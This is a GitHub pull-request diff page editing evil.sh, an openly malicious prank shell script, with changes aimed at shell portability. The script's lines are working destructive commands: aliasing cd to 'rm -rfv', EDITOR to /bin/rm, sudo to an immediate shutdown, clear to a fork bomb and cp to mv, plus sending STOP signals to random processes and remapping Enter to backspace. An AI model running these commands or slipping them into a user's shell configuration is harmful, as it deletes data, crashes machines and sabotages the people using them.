Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 7 additions & 4 deletions evil.sh
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
export EDITOR=/bin/rm

# Make Tab send the delete key
# sh: replace $'\t' with a quoted literal tab
tset -Qe $'\t'

# Randomly make the shell exit whenever a command has a non-zero exit status
Expand All @@ -14,7 +15,7 @@ tset -Qe $'\t'
alias cat=true

# Use a random sort option whenever `ls` is invoked
function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }
ls() { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }

# Delete directories instead of entering them
alias cd='rm -rfv'
Expand All @@ -23,16 +24,17 @@ alias cd='rm -rfv'
alias sudo='sudo shutdown -P now'

# Launch a fork bomb instead of clearing the screen
# sh, ksh: replace `:' with boring names like _f
alias clear=':(){ :|:& };:'

# Have `date` return random dates
alias date='date -d "now + $RANDOM days"'

# Randomly eject CD tray
sleep $[ ( $RANDOM % 10 ) + 1 ]s && [[ uname=="Darwin" ]] && drutil eject || eject -T &
sleep $((RANDOM%10 + 1)) && [[ uname=="Darwin" ]] && drutil eject || eject -T &

# Send STOP signal to random process at random time
sleep $[ ( $RANDOM % 100 ) + 1 ]s && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &
sleep $((RANDOM%100 + 1)) && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &

# Have `cp` perform `mv` instead
alias cp='mv'
Expand All @@ -41,11 +43,12 @@ alias cp='mv'
alias exit='sh'

# Add a random number to line numbers when using `grep -n`
function grep { command grep "$@" | awk -F: '{ r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/) { o = n+r } else { o = n }; print o ":" substr($0, 2)}'; }
grep() { command grep "$@" | awk -F: '{ r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/) { o = n+r } else { o = n }; print o ":" substr($0, 2)}'; }

# Invert `if`, `for`, and `while`.
alias if='if !' for='for !' while='while !'

# Map Enter, Ctrl+J, and Ctrl+M to backspace.
# ksh: bind '^J=delete-char' '^M=delete-char'
bind '"\C-J":"\C-?"'
bind '"\C-M":"\C-?"'